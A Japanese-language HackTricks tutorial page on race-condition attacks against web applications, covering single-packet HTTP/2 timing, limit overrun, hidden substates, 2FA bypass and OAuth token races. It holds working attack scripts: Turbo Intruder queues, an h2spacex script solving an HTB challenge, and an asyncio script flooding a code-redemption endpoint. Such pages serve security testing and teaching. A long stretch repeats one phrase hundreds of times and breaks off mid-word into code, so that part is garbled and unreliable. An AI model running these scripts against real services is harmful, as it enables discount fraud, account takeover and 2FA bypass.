Race Condition

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法:HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!公式PEASS&HackTricksグッズを入手してくださいThe PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください**💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。ハッキングトリックを共有するには、HackTricksHackTricks CloudのGitHubリポジトリにPRを提出してください。

このテクニックの深い理解を得るには、https://portswigger.net/research/smashing-the-state-machineのオリジナルレポートを確認してください。レースコンディション攻撃の強化レースコンディションを利用する際の主な障害は、複数のリクエストが同時に処理され、処理時間に非常に少ない差があることを確認することです。理想的には、1ms未満です。ここでは、リクエストの同期のためのいくつかのテクニックを見つけることができます:HTTP/2シングルパケット攻撃 vs. HTTP/1.1ラストバイト同期HTTP/2:1つのTCP接続で2つのリクエストを送信できるため、ネットワークの揺れの影響を軽減します。ただし、サーバーサイドの変動により、2つのリクエストでは一貫したレースコンディションの攻撃ができない場合があります。HTTP/1.1 'ラストバイト同期':20〜30のリクエストのほとんどの部分を事前に送信し、小さな断片を保留して、それらを一緒に送信してサーバーに同時に到着させることができます。ラストバイト同期の準備には次の手順が含まれます:ストリームを終了せずに、最終バイトを除くヘッダーと本文データを送信します。初回送信後に100ms待機します。最終フレームをバッチ処理するためにTCP_NODELAYを無効にします。接続をウォームアップするためにピンポンを行います。保留されたフレームの後続の送信は、Wiresharkを使用して単一のパケットでの到着を確認するはずです。この方法は、通常はRC攻撃に関与しない静的ファイルには適用されません。サーバーアーキテクチャへの適応ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストのルーティングを異なる方法で行う場合があり、タイミングに影響を与える可能性があります。取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防措置として、取るべき予防passwords = wordlists.clipboardfor password in passwords:engine.queue(target.req, password, gate='race1')ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、Engine.BURP2の代わりにEngine.THREADEDまたはEngine.BURPを使用してください。Tubo Intruder - HTTP2 single-packet attack (Several endpoints): RCEをトリガーするために1つのエンドポイントにリクエストを送信し、その後他のエンドポイントに複数のリクエストを送信する必要がある場合、race-single-packet-attack.pyスクリプトを以下のように変更できます:def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=1,engine=Engine.BURP2)# Hardcode the second request for the RCconfirmationReq = '''POST /confirm?token[]= HTTP/2Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.netCookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLUContent-Length: 0'''# For each attempt (20 in total) send 50 confirmation requests.for attempt in range(20):currentAttempt = str(attempt)username = 'aUser' + currentAttempt# queue a single registration requestengine.queue(target.req, username, gate=currentAttempt)# queue 50 confirmation requests - note that this will probably sent in two separate packetsfor i in range(50):engine.queue(confirmationReq, gate=currentAttempt)# send all the queued requests for this attemptengine.openGate(currentAttempt)Repeaterでも、Burp Suiteの新しい 'Send group in parallel' オプションを使用できます。limit-overrunの場合、同じリクエストを50回グループに追加するだけです。接続ウォーミングのためには、ウェブサーバーの非静的部分にいくつかのリクエストをグループの最初に追加することができます。1つのリクエストを処理してからもう1つのリクエストを処理するまでのプロセスを遅延させるためには、両方のリクエストの間に追加のリクエストを追加することができます。複数エンドポイントのRCの場合、隠れた状態に移動するリクエストを送信し、その後すぐにその隠れた状態を悪用する50のリクエストを送信します。自動化されたPythonスクリプト: このスクリプトの目的は、ユーザーの電子メールを変更し続けながら、新しいメールの検証トークンが最後のメールに到着するまで継続的に検証することです(これは、コード内でメールを変更できるが、最初のメールで既にポピュレートされているメールを使用して検証が古いメールに送信される可能性があるRCが見られたためです)。 受信したメールに "objetivo" という単語が見つかった場合、変更されたメールの検証トークンを受信したことがわかり、攻撃を終了します。# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun# Script from victor to solve a HTB challengefrom h2spacex import H2OnTlsConnectionfrom time import sleepfrom h2spacex import h2_framesimport requestscookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"# change these headersheadersObjetivo= """accept: */*content-type: application/x-www-form-urlencodedCookie: """+cookie+"""Content-Length: 112"""bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'headersVerification= """Content-Length: 1Cookie: """+cookie+""""""CSRF="42a08872-610a-4965-9553-22d7b3aa1827"host = "94.237.56.46"puerto =39697url = "https://"+host+":"+str(puerto)+"/email/"response = requests.get(url, verify=False)while "objetivo" not in response.text:urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"responseDeleteMails = requests.get(urlDeleteMails, verify=False)#print(response.text)# change this host name to new generated oneHeaders = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRFurlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)print(responseReset.status_code)h2_conn = H2OnTlsConnection(hostname=host,port_number=puerto)h2_conn.setup_connection()try_num = 100stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)all_headers_frames = [] # all headers frame + data frames which have not the last byteall_data_frames = [] # all data frames which contain the last bytefor i in range(0, try_num):last_data_frame_with_last_byte=''if i == try_num/2:header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501method='POST',headers_string=headersObjetivo,scheme='https',stream_id=stream_ids_list[i],authority=host,body=bodyObjetivo,path='/challenge/api/profile')else:header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(method='GET',headers_string=headersVerification,scheme='https',stream_id=stream_ids_list[i],authority=host,body=".",path='/challenge/api/sendVerification')all_headers_frames.append(header_frames_without_last_byte)all_data_frames.append(last_data_frame_with_last_byte)# concatenate all headers bytestemp_headers_bytes = b''for h in all_headers_frames:temp_headers_bytes += bytes(h)# concatenate all data frames which have last bytetemp_data_bytes = b''for d in all_data_frames:temp_data_bytes += bytes(d)h2_conn.send_bytes(temp_headers_bytes)# wait some timesleep(0.1)# send ping frame to warm up connectionh2_conn.send_ping_frame()# send remaining data framesh2_conn.send_bytes(temp_data_bytes)resp = h2_conn.read_response_from_socket(_timeout=3)frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)frame_parser.add_frames(resp)frame_parser.show_response_of_sent_requests()print('---')sleep(3)h2_conn.close_connection()response = requests.get(url, verify=False)Raw BF以前の研究の前に使用されていたいくつかのペイロードは、単にRCを引き起こすためにパケットをできるだけ速く送ろうとしました。Repeater: 前のセクションから例を確認してください。Intruder: Intruder にリクエストを送信し、オプションメニュー内でスレッド数を30に設定し、ペイロードとしてNull payloadsを選択して30を生成します。Turbo Intruderdef queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=5,requestsPerConnection=1,pipeline=False)a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']for i in range(len(a)):engine.queue(target.req,a[i], gate='race1')# open TCP connections and send partial requestsengine.start(timeout=10)engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)Python - asyncioimport asyncioimport httpxasync def use_code(client):resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})return resp.textasync def main():async with httpx.AsyncClient() as client:tasks = []for _ in range(20): #20 timestasks.append(asyncio.ensure_future(use_code(client)))# Get responsesresults = await asyncio.gather(*tasks, return_exceptions=True)# Print resultsfor r in results:print(r)# Async2sync sleepawait asyncio.sleep(0.5)print(results)asyncio.run(main())RC MethodologyLimit-overrun / TOCTOUこれは、アクションを実行できる回数を制限する場所に現れる脆弱性である最も基本的な競合状態のタイプです。たとえば、ウェブストアで同じ割引コードを複数回使用することです。非常に簡単な例はこのレポートこのバグに見つけることができます。この種の攻撃には、次のような多くのバリエーションがあります:ギフトカードを複数回利用する製品に複数回評価を付ける口座残高を超えて現金を引き出すまたは送金する単一のCAPTCHAソリューションを再利用する対抗するブルートフォースレート制限をバイパスするHidden substates複雑な競合状態を悪用することは、隠れたまたは意図しないマシンのサブステートとの短い機会を利用することをしばしば含みます。以下はこのアプローチ方法です:潜在的な隠れたサブステートを特定するユーザープロファイルやパスワードリセットプロセスなどの重要なデータを変更または操作するエンドポイントを特定することから始めます。以下に焦点を当てます:ストレージ:クライアントサイドのデータを処理するエンドポイントよりもサーバーサイドの永続データを操作するエンドポイントを優先します。アクション:既存のデータを変更する操作を探し、新しいデータを追加する操作よりも悪用可能な状況を作りやすいです。キー付け:成功した攻撃は通常、同じ識別子(たとえば、ユーザー名やリセットトークン)でキー付けされた操作を含みます。初期探査を実施する特定されたエンドポイントを競合状態攻撃でテストし、予想される結果からの逸脱を観察します。予期しない応答やアプリケーションの振る舞いの変化は脆弱性を示す可能性があります。脆弱性をデモンストレーションする脆弱性を悪用するために必要なリクエストの最小数に絞り込みます。多くの場合、正確なタイミングが必要なため、このステップには複数の試行または自動化が必要になるかもしれません。Time Sensitive Attacksリクエストのタイミングを正確にすることで、タイムスタンプなどの予測可能な方法がセキュリティトークンに使用されている場合に脆弱性が明らかになることがあります。たとえば、タイムスタンプに基づいてパスワードリセットトークンを生成することで、同時リクエストに対して同一のトークンを許可する可能性があります。悪用方法:同時にパスワードリセットリクエストを行うために、単一パケット攻撃のような正確なタイミングを使用します。一致するトークンは脆弱性を示します。例:同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。一致するトークンはトークン生成に欠陥があることを示唆します。これを試すためにPortSwigger Labをチェックしてください。Hidden substates case studiesPay & add an Item支払いを行い、追加のアイテムを追加する方法を見るには、PortSwigger Labをチェックしてください。Confirm other emails新しいメールアドレスを確認し、同時に異なるメールアドレスに変更することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認します。Change email to 2 emails addresses Cookie basedこの研究によると、Gitlabはこの方法で乗っ取りの脆弱性がある可能性があります。なぜなら、1つのメールアドレスのメール確認トークンを他のメールアドレスに送信する可能性があるからです。これを試すためにPortSwigger Labをチェックしてください。Hidden Database states / Confirmation Bypassデータベースに情報を追加するために2つの異なる書き込みが使用される場合、データベースには最初のデータのみが書き込まれた瞬間があります。たとえば、ユーザーを作成するときにユーザー名とパスワードが書き込まれ、その後、新しく作成されたアカウントを確認するためのトークンが書き込まれます。これは、一時的にアカウントを確認するトークンがnullになる可能性があることを意味します。したがって、アカウントを登録し、空のトークン(token=またはtoken[]=またはその他のバリエーション)を使用してアカウントをすぐに確認するために複数のリクエストを送信することで、メールを制御していないアカウントを確認することができるかもしれません。これを試すためにPortSwigger Labをチェックしてください。Bypass 2FA次の疑似コードは、2FAが強制されていない非常に短い時間にセッションが作成されるため、競合状態に脆弱です:session['userid'] = user.useridif user.mfa_enabled:session['enforce_mfa'] = True# generate and send MFA code to user# redirect browser to MFA code entry formOAuth2永続的な持続性いくつかのOAuthプロバイダーがあります。これらのサービスを使用すると、プロバイダーが登録したユーザーを認証し、アプリケーションを作成して認証できます。そのためには、クライアントはアプリケーションにアクセスを許可する必要があります。 したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、次のようなページが表示されます: "アプリケーション<InsertCoolName>があなたの情報にアクセスすることを希望します。許可しますか?"authorization_codeにおける競合状態問題は、それを受け入れ、悪意のあるアプリケーションに**authorization_codeを自動的に送信すると発生します。その後、このアプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、authorization_codeから複数のAT/RT**(認証トークン/リフレッシュトークン)を生成します。基本的に、データへのアクセスを許可したことを悪用して複数のアカウントを作成します。その後、アプリケーションにデータへのアクセスを許可しなくなると、1組のAT/RTが削除されますが、他のものは有効のままです。Refresh Tokenにおける競合状態有効なRTを取得したら、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションにデータへのアクセス権限を取り消しても、複数のRTは有効のままです。WebSocketsにおけるRCWS_RaceCondition_PoCでは、Webソケットでも競合状態を悪用するために並列でウェブソケットメッセージを送信するJavaのPoCが見つかります。参考文献https://hackerone.com/reports/759247https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.htmlhttps://hackerone.com/reports/55140https://portswigger.net/research/smashing-the-state-machinehttps://portswigger.net/web-security/race-conditions Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。 今すぐアクセスしてください:

Last updated